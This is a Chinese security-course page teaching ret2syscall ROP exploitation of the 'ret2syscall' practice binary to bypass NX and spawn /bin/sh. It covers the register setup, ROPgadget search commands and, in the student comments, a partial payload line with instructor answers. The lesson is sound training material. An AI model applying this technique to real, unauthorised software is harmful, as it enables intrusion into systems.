首页
论坛
课程
招聘
利用ROP-Ret2Syscall突破NX保护

1. 分析程序流程

 

2. 查看保护

 

3. 计算偏移

 

4.明确目标(我们要组合的shellcode)

系统调用号,即 eax 应该为 0xb

第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

第二个参数,即 ecx 应该为 0

第三个参数,即 edx 应该为 0

接下来我们就要一点点的去拼凑这些内容,我们没法直接在栈里写指令,只能够利用程序中自带的指令去拼凑。

4. 将eax设置为0xb,我们是没法直接往栈里写mov eax,0xb的,那么还有另一种方式是pop eax,但是要保证栈顶必须是0xb。然后设置ebx,ecx,edx,同样是这样的道理,所以我们可以想象栈中的数据是:

pop eax;ret

0xb

pop ebx;pop ecx;pop edx;ret

"/bin/sh"的地址

0

0

int 0x80的地址

这样我们就可以保证eax,ebx,ecx,edx的值了。所以接下来我们要在程序中找一下有没有pop eax;和pop ebx;pop ecx;pop edx;的指令。

5. ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"

 

6.ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

 

恰好也有我们所需要的,只不过顺序和我们的不同,在组织payload时候需要调换下顺序

6. ROPgadget --binary ./ret2syscall --string "/bin/sh"

 

7. ROPgadget --binary ./ret2syscall --only "int"

 

8. 编写exp

 

9. 调试验证

 

上传的附件:

上一节 :
下一节 :
章节评论 (7)
suaqer 2020-3-19
 举报
@Roger  师傅想请教一下第6步中6.ROPgadget  --binary  ./ret2syscall  --only  "pop|ret"  |  grep  "ebx"  |  grep  "ecx"  |  grep  "edx",这里您提到了一句这里我们需要的是pop  ebx  ;  pop  ecx  ;  pop  edx  ;  ret  ,但是得到的结果反了是pop  edx  ;  pop  ecx  ;  pop  ebx;  ret,您说只不过顺序和我们的不同,在组织payload时候需要调换下顺序,这里您指的调整payload就是调整后面分别对应ebx  ecx  edx的参数一一对应即可,意思就是这里对ebx、ecx、edx他们三个pop顺序是没有要求的是吗,我们只要保证这三项分别存入对应的参数/bin/sh、0、0,然后返回到int  0x80就可以了是吗,我可以理解为假如这里我们寻找到的是pop  ebx  ;  pop  ecx  ;  pop  edx  ;  ret,那么exp中payload应该改成payload  =  'a'*offset  +  pop_eax  +  p32(0xb)  +  pop_edx_ecx_ebx  +    bin_sh  +  p32(0)  +  p32(0)    +  int_0x80就可以了呢?
【讲师回复】 您仔细想一下就明白了,这里我们提前在栈里覆盖了参数,这些参数是要pop到寄存器中的,而我们在栈中存放数据的时候,预想的弹栈顺序是ebx,ecx,edx,而我们找到的代码小片段只有edx,ecx,ebx,这就导致我们必须调整栈中参数的存放位置。
2020-3-20
Roger 2020-3-20
 举报
@suaqer  我们找到程序小片段中的ebx,ecx,edx的顺序是无所谓的,这无非就是设置寄存器的顺序不同而已,您在设计栈中的数据时,和指令片段的顺序一致即可。64位需要使用寄存器+系统调用号来实现调用函数,32位程序使用栈传参,64位程序使用寄存器传参
suaqer 2020-3-20
 举报
@Roger  谢谢您
【讲师回复】 不客气,有问题随时在课程下方评论
2020-3-20
xiaofei0115 2020-4-29
 举报
@Roger  请问一下一个32位地址不是只能存4个字符串吗?为什么0xffe44100可以存入‘’/bin/sh‘’7个字符串了?
【讲师回复】 存的是字符串首地址
2020-4-29
RickSandes 2020-12-5
 举报
@Roger  师傅请问如果找不到需要的代码(比如说找不到"/bin/sh"),那是不是就要换方法了
【讲师回复】 对,后面的补充篇会讲到一些方法来构造binsh
2020-12-6
hack_xolin 2021-3-17
 举报
这个程序是个坑,,我用retTOlibc的方法,居然行不通,发现根本没有PLT  GOT,ldd一看,该程序没有动态链接!!
田圆 2021-3-30
 举报
@Roger  这是下溢出吗?
【讲师回复】 你指的下溢出是什么?
2021-3-31
域名:加速乐 | SSL证书:亚洲诚信 | 安全网易易盾| 同盾反欺诈| 服务器:绿盟科技
©2000 - 2021 看雪学院 / 沪ICP备16048531号-1 / 沪公网安备 31011502006611号